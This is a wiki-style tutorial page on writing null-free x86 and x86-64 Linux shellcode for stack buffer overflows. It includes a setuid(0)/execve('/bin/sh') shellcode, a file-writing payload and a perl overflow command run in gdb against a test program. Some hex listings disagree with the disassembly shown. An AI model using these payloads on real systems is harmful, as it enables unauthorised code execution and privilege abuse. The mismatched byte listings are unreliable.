Difference between revisions of "Shellcode/Null-free"
Chantal21I (Talk | contribs) |
|||
Line 1: | Line 1: | ||
− | {{info|<center>Null-free [[shellcode]] is a beginner-type shellcode used for [[exploitation]] of the '''executable stack''' during a [[buffer overflow]] attack.</center>}}{{prereq|[[bitwise math]], [[linux assembly]], and [[buffer overflow]]s}} | + | {{info|<center>Null-free [[shellcode]] is a beginner-type shellcode used for [[exploitation]] of the '''executable stack''' during a [[buffer overflow]] attack. All source code files available in [[Shellcode/Appendix|the appendix]].</center>}}{{prereq|[[bitwise math]], [[linux assembly]], and [[buffer overflow]]s}} |
== Introduction == | == Introduction == |
Latest revision as of 16:40, 16 May 2013
Shellcode/Null-free requires a basic understanding of bitwise math, linux assembly, and buffer overflows |
Contents
Introduction
A buffer overflow vulnerability occurs when a user inputs more data then a buffer is meant to contain, and without any proper bounds checking, the program blindly overwrites various registers and parts of the call stack. The objective of this attack is to fit shellcode inside the buffer, along with enough "nops" or "no operation instructions" to allow the return pointer (eventually %eip or %rip) to be overwritten. When the return address is successfully overwritten, the program returns to an address controlled by the attacker -- forcing the processor to execute the code which the attacker desires.
Checking for a segmentation fault is the first step of identifying a buffer overflow vulnerability. This usually is a sure sign of a buffer overflow because the buffer is breached, allowing the return address to be overwritten. When the return address is changed to an address outside the context of the application's ability to access, causing the application to "segfault".
Traditionally, applications written in C or C++ are vulnerable to stack overflows amongst other types of buffer overflows. Because most overflows occur from unsafe operations on null-terminated strings, any machine code supplied as shellcode for the exploitation process cannot contain null bytes.
64-bit
Assembly
For this section, a 64-bit /bin/sh shellcode will be constructed using the example in linux assembly. The first thing it does is call setuid(0) (system call number 105).
mov $0, %rdi mov $105, %rax syscall |
Next, execve("/bin/sh", NULL, NULL) is called. execve is system call number 59.
mov $59, %rax # execve(filename, argv, envp) push $0x00 mov %rsp, %rdx # argv is null mov %rsp, %rsi # envp is null mov $0x0068732f6e69622f, %r10 push %r10 mov %rsp, %rdi # filename is '/bin/sh\0' syscall |
Finally, exit() is called, system call number 60.
mov $60, %rax mov $0, %rdi syscall |
When the code is disassembled, it contains a large number of null-bytes:
40008d: 48 c7 c0 3b 00 00 00 mov $0x3b,%rax 400094: 6a 00 pushq $0x0 400096: 48 89 e2 mov %rsp,%rdx 400099: 48 89 e6 mov %rsp,%rsi 40009c: 49 ba 2f 62 69 6e 2f movabs $0x68732f6e69622f,%r10 4000a3: 73 68 00 4000a6: 41 52 push %r10 4000a8: 48 89 e7 mov %rsp,%rdi 4000ab: 0f 05 syscall 4000ad: 48 c7 c0 3c 00 00 00 mov $0x3c,%rax 4000b4: 48 c7 c7 00 00 00 00 mov $0x0,%rdi 4000bb: 0f 05 syscall
This is unacceptable for shellcode because strings are null-terminated, and when supplying this to the vulnerable buffer, it will cause the copied data to be truncated at the first occurance of a null-byte, preventing the target buffer from overflowing.
Removing Nulls
As it stands, this code is not suitable for shellcode use and must be written null free. In order to do this, certain instructions can be substituted for others. For example, instead of using the mov instruction to move zero into %rdi for the call to setuid, xor can be used because xor'ing a number with itself results in zero. Therefore, a register xor'd with itself will be nulled. For example:
.text .globl _start _start: xor %rdi, %rdi # Zero out %rdi (first argument) |
The mov instruction can also be emulated with a push / pop operation. This is necessary because when a small mov instruction (for 0x69 in the next example) is executed, it results in three nulls. Using push and pop instead of using a smaller register (such as %al, in this case) is also more efficient, because it will zero out the rest of the register, whereas moving to a smaller register would still keep the original contents in the higher bits of the register. This would require a xor operation to null the register first (a total of five bytes, versus the three bytes in the push / pop emulation).
push $0x69 pop %rax # Set %rax to function number for setuid() syscall # setuid(0); |
In order to save bytes, %rdi will be pushed and popped into %rsi and %rdx because %rdi is already null from the call to setuid. This allows the nulls resulting from moving zero into %rsi and %rdx to be removed.
push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) |
Now, there is a tougher null when moving the '/bin/sh\0' string into %rdi. This can be removed by appending a random character (in this case 'j') to the string making it 'hs/nib/j' (it has been reversed because it will be pushed onto the stack in reverse). Next, in order to put a null at the end of this string so it becomes '/bin/sh\0', a shr instruction is used, which uses a bit shift operation to move the string eight bits (one byte) to the right, removing the 'j' character and appending the '\0' to the string resulting in '/bin/sh\0' ('\0hs/nib/' on the stack). This is then pushed onto the stack and a pointer to it is retrieved by pushing the stack pointer (%rsp, which currently points at the string in memory) and popping it into %rdi.
mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' |
Finally, the execve system call number (0x3b) is pushed and popped into %rax and the syscall is executed.
push $0x3b pop %rax # set %rax to function # for execve() syscall # execve('/bin/sh',null,null); |
Disassembly and Running
- See also: shellcode disassembly
When disassembled, the shellcode now looks like:
400078: 48 31 ff xor %rdi,%rdi 40007b: 6a 69 pushq $0x69 40007d: 58 pop %rax 40007e: 0f 05 syscall 400080: 57 push %rdi 400081: 57 push %rdi 400082: 5e pop %rsi 400083: 5a pop %rdx 400084: 48 bf 6a 2f 62 69 6e movabs $0x68732f6e69622f6a,%rdi 40008b: 2f 73 68 40008e: 48 c1 ef 08 shr $0x8,%rdi 400092: 57 push %rdi 400093: 54 push %rsp 400094: 5f pop %rdi 400095: 6a 3b pushq $0x3b 400097: 58 pop %rax 400098: 0f 05 syscall
It is now completely null-free and can be run using a shellcode loader:
{} ../loaders/loader-64 "$(../generators/shellcode-generator.py --raw --file=setuid_binsh)" [user@host null-free]$ exit exit {}
32-bit
Assembly
In this article 93 byte shellcode for 32 bit x86 architectures will be used that will open a file descriptor and write "this is lol" to a file named "lol" located at "/root/Desktop/". |
The first step in creating working shellcode is to first create it in assembly. This will be the starting blocks that will allow development and molding of the machine code into anything desired without having to worry about design and null-bytes at first.
Create the data segment containing a variable called file, with an ascii string value of "/root/Desktop/lol".
.section .data file: .ascii "/root/Desktop/lol" |
Initialize the code (.text) segment and move the function number (see: syscall table) for open() into eax:
.section .text .global _start: _start: movl $5, %eax |
Move the a pointer to the file constant into ebx.
movl $file, %ebx |
File options moved into ecx
movl $03101, %ecx |
File permissions (rwrwrw) for /root/Desktop/lol
movl $0666, %edx |
Send an interrupt to get the file descriptor
int $0x80 |
Move the file descriptor to ebx for the write() call.
movl %eax, %ebx |
Move the call to write() into eax
movl $4, %eax |
Push 'this is lol\0' backwards onto the stack to be written
pushl $0x006c6f6c pushl $0x20736920 pushl $0x73696874 |
Move the pointer to the beginning if the text to be written.
movl %esp, %ecx |
move the size of the text to be written into edx.
movl $12, %edx |
write the text to $file.
int $0x80 |
move exit() to eax.
movl $1, %eax |
move the return value of 5 to edx.
movl $5, %edx |
exit.
int $0x80 |
.section .data file: .ascii "/root/Desktop/lol" .section .text .global _start: _start: movl $5, %eax movl $file, %ebx movl $03101, %ecx movl $0666, %edx int $0x80 movl %eax, %ebx movl $4, %eax pushl $0x006c6f6c pushl $0x20736920 pushl $0x73696874 movl %esp, %ecx movl $12, %edx int $0x80 movl $1, %eax movl $5, %edx int $0x80 |
Here is the basic assembly program that turns into the payload shellcode during the buffer overflow exploit. It is easily manageable and changeable in its current state. This is the stage in which all the design choices should be made. After the payload is created, run it through objdump to take a look at its bytecode to see what changes are required.
root@ducks:~/Desktop# objdump -d p2.o p2.o: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: b8 05 00 00 00 mov $0x5,%eax 5: bb 00 00 00 00 mov $0x0,%ebx a: b9 41 06 00 00 mov $0x641,%ecx f: ba b6 01 00 00 mov $0x1b6,%edx 14: cd 80 int $0x80 16: 89 c3 mov %eax,%ebx 18: b8 04 00 00 00 mov $0x4,%eax 1d: 68 6c 6f 6c 00 push $0x6c6f6c 22: 68 20 69 73 20 push $0x20736920 27: 68 74 68 69 73 push $0x73696874 2c: 89 e1 mov %esp,%ecx 2e: ba 0c 00 00 00 mov $0xc,%edx 33: cd 80 int $0x80 35: b8 01 00 00 00 mov $0x1,%eax 3a: ba 05 00 00 00 mov $0x5,%edx 3f: cd 80 int $0x80
Conversion to shellcode
The above assembly will not work when smashing the stack, for two reasons:
- This program is riddled with null-bytes; these are a shellcode's worst enemy!
Null-bytes are used as string terminators in the C programming language, and functions such as strcpy() and other string manipulation functions use them as markers to end their copy loops. When a null-byte is encountered, copying stops - preventing the target buffer from overflowing.
- Arguments are defined in the .data section, this is unstable when crafting shellcode.
The write path in which the file is to be written to is stored in static memory in the .data section. The reason this is bad design is because the target will not have this string or label in its memory, so the shellcode will most likely cause a segmentation fault and crash the target.
String argument
In this new example, instead of depending on the static definition of the destination path in the .data section, the entire null-terminated string is pushed onto the stack backwards. Then, the stack pointer is moved into the appropriate argument register. The reason the design was changed is so that when the targets buffer is exploited, the path will now be on the stack so it can be accessed, rather than at an arbitrary label location. Another change is that all the registers that will be used have been zeroed out. It is impossible to predict a register's value at the time of exploitation, thus it is better off to zero them out when started.
_start: xorl %eax, %eax xorl %ebx, %ebx xorl %ecx, %ecx xorl %edx, %edx #xor all the registers to zero them movl $5, %eax #move open() to eax pushl $0x0000006c pushl $0x6f6c2f70 pushl $0x6f746b73 pushl $0x65442f74 pushl $0x6f6f722f #push the writing destination backwards in hex onto the stack movl %esp, %ebx #move the pointer to the top of the stack to ebx movl $03101, %ecx #some file options movl $0666, %edx #some file permissions int $0x80 #send interrupt to obtain a file descriptor movl %eax, %ebx #move the file descriptor to ebx for the write() call movl $4, %eax #move the write() call to eax pushl $0x006c6f6c pushl $0x20736920 pushl $0x73696874 #push 'this is lol\0' backwards onto the stack to be written movl %esp, %ecx #move the pointer to the beginning of the text to be written movl $12, %edx #move the size of the text to be written int $0x80 #write the text movl $1, %eax #move exit() to eax movl $5, %edx #move the return value of 5 to edx int $0x80 #exit |
- Create a new objdump of the new code to see what else needs to be fixed:
root@ducks:~/Desktop# objdump -d p2.o p2.o: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: 31 c0 xor %eax,%eax 2: 31 db xor %ebx,%ebx 4: 31 c9 xor %ecx,%ecx 6: 31 d2 xor %edx,%edx 8: b8 05 00 00 00 mov $0x5,%eax d: 6a 6c push $0x6c f: 68 70 2f 6c 6f push $0x6f6c2f70 14: 68 73 6b 74 6f push $0x6f746b73 19: 68 74 2f 44 65 push $0x65442f74 1e: 68 2f 72 6f 6f push $0x6f6f722f 23: 89 e3 mov %esp,%ebx 25: b9 41 06 00 00 mov $0x641,%ecx 2a: ba b6 01 00 00 mov $0x1b6,%edx 2f: cd 80 int $0x80 31: 89 c3 mov %eax,%ebx 33: b8 04 00 00 00 mov $0x4,%eax 38: 68 6c 6f 6c 00 push $0x6c6f6c 3d: 68 20 69 73 20 push $0x20736920 42: 68 74 68 69 73 push $0x73696874 47: 89 e1 mov %esp,%ecx 49: ba 0c 00 00 00 mov $0xc,%edx 4e: cd 80 int $0x80 50: b8 01 00 00 00 mov $0x1,%eax 55: ba 05 00 00 00 mov $0x5,%edx 5a: cd 80 int $0x80
There still are a lot of nullbytes to remove from the code. Removing these can be as easy as changing the instruction in most cases, but in others, such as the hex strings which have to be null terminated, a more complicated work around will need to be implemented.
Null-byte removal
This code has now been heavily modified from the original to make it smaller in size, run faster, and remove null bytes. There are some complicated techniques used here that will help bypass the use of nullbytes such as xor, and shift-left or shift-right to put null-bytes back into a string while in memory. An easier technique, which is not shown, is to zero out a register and push it onto the stack to insert your nullbyte then push your hex strings onto the stack. This allows you to easily add a nullbyte without the need for doing any hexadecimal math. Some of the main techniques used here to remove nullbytes are relatively simple simply because the coder is just changing an instruction. An example is before we were using the instruction movl for moving our single byte. This would cause nullbyte padding to be added because the movl instruction moves 4 bytes of data instead of the single byte we needed. To fix this all that needed to be done was to either use the movb instruction or use a push/pop combo, which is highly preferred because when you craft your shellcode correctly it can be converted into an ascii string called ascii_shellcode which allows you to bypass certain filters. Another method is to move our string along with a useless byte of data and shift everything to the right by 1 byte, because of this the useless byte we padded our string with on the right will be knocked off and a new nullbyte will be added on the left of our hex string in memory. Using these techniques allows the shellcode to have no nullbytes, priming it for successful exploitation.
- First, zero out the ecx and edx registers.
_start: xorl %ecx, %ecx xorl %edx, %edx #use xor to zero out the registers (removed some not required) |
- This is used in stead of movl because it does not generate a null byte.
push $0x05 #push 0x05 (single byte to remove the null padding used in longs) pop %eax #pop that value into eax |
- Push the file destination string to the stack. A pushb is used to ensure that a null byte is read at the end of the string, but is not within the shellcode.
pushb $0x6c #push part of the file destination as a byte to remove padding pushl $0x6f6c2f70 pushl $0x6f746b73 pushl $0x65442f74 pushl $0x6f6f722f movl %esp, %ebx #move out stack pointer |
- Using sub-registers the same size as the arguments, use xor to place the appropriate values into %ecx and %edx (after they've been zeroed out).
xorw $0x0641, %cx #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641) xorw $0x01b6, %dx #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6) #by using this method of xoring out the nullbytes code size can be reduced as well #as remove the null bytes int $0x80 #execute open() |
- Moving the file descriptor handle into its register along with moving part of our string onto the stack and back into a register for modification. The string does not have a nullbyte until we shift it to the right by 8 bits (1 byte) bumping off the 0x6a and padding it with a 0x00 on the left.
movl %eax, %ebx #move the file handle into ebx for write() push $0x04 #push 0x04 pop %eax #pop it into eax for use in write() pushl $0x6c6f6c6a #push part of the null terminated hex string onto the stack pop %ecx #pop it into ecx for modification shr $0x08, %ecx #shift it to the right by 0x08 to put the nullbyte back into the string without #having it directly in the code |
- Pushing our nulled string onto the stack along with the rest of our string. The stack pointer to our string is also moved into a register for use.
pushl %ecx #push the modified string back onto the stack pushl $0x20736920 pushl $0x73696874 movl %esp, %ecx #move the stack pointer to ecx |
- Set the size of the string and move it into its register. Save the file descriptor for use later on and execute the system interrupt.
push $0xb #push the size of the stack in hex pop %edx #pop it back into the proper register pushl %ebx #push the file descriptor onto the stack for the next function int $0x80 #write the file |
- Retrieve our file descriptor from the stack and execute a close() system call on the file.
pop %ebx #get the file descriptor back push $0x06 #push 0x06 to the stack pop %eax #pop it into eax for close() int $0x80 #close the file |
- Exit the program with a return value of 5.
push $0x01 #push exit() onto the stack pop %eax #and put it in the register push $0x05 #push the return value of 5 pop %ebx #and put it in ebx int $0x80 #and exit |
It is time to do a final objdump to make sure all the null bytes are gone and to make sure everything else is ok with the code. It will also give the final bytecode dump that will be cleaned up to produce a functioning shellcode.
root@ducks:~/Desktop# objdump -d p2.o p2.o: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: 31 c9 xor %ecx,%ecx 2: 31 d2 xor %edx,%edx 7: 6a 05 push $0x5 9: 58 pop %eax a: 6a 6c push $0x6c c: 68 70 2f 6c 6f push $0x6f6c2f70 11: 68 73 6b 74 6f push $0x6f746b73 16: 68 74 2f 44 65 push $0x65442f74 1b: 68 2f 72 6f 6f push $0x6f6f722f 20: 89 e3 mov %esp,%ebx 22: 66 81 f1 41 06 xor $0x641,%cx 27: 66 81 f2 b6 01 xor $0x1b6,%dx 2c: cd 80 int $0x80 2e: 89 c3 mov %eax,%ebx 30: 6a 04 push $0x4 32: 58 pop %eax 33: 68 6a 6c 6f 6c push $0x6c6f6c6a 38: 59 pop %ecx 39: c1 e9 08 shr $0x8,%ecx 3c: 51 push %ecx 3d: 68 20 69 73 20 push $0x20736920 42: 68 74 68 69 73 push $0x73696874 47: 89 e1 mov %esp,%ecx 49: 6a 0b push $0xb 4b: 5a pop %edx 4c: 53 push %ebx 4d: cd 80 int $0x80 4f: 5b pop %ebx 50: 6a 06 push $0x6 52: 58 pop %eax 53: cd 80 int $0x80 55: 6a 01 push $0x1 57: 58 pop %eax 58: 6a 05 push $0x5 5a: 5b pop %ebx 5b: cd 80 int $0x80
Everything appears to look okay so clean this objdump up and turn it into some real shellcode by removing all excess data except for the bytecode. Once the line markets and assembly instructions have been stripped away, add "\x" in front of every byte instruction like so.
- This is what the final shellcode will look like. It is 93 bytes long, and writes a file named "lol" to the desktop of /root/ and exits with the return value of 5.
\x31\xc9\x31\xd2\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58 \x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80
Successful overflow test
- This shellcode was tested using bof.c on a 32-bit system.
To use this shellcode either use perl or ruby to aid in adding the correct number of NOPS for the buffer at hand. In this case, a 100 byte buffer with EIP located at 116 is being used. So that means that the shellcode should be subtracted from 116 which is 23 and then minus 4 for the return address which is 19. That means the shellcode must be padded with 19 NOPS in order for the return address to overwrite the EIP of the targets buffer.
root@ducks:~/Desktop# gdb -q ./bof Reading symbols from /root/Desktop/bof...done. (gdb) r "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`" Starting program: /root/Desktop/bof "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`" Program exited with code 05. (gdb)
When using perl or ruby to test this shellcode with an exploit from the command-line, it requires double quotations around the entire command, or it will output \x20 as a whitespace character and the shellcode will be divided up as separate command-line arguments, preventing the buffer from overflowing. |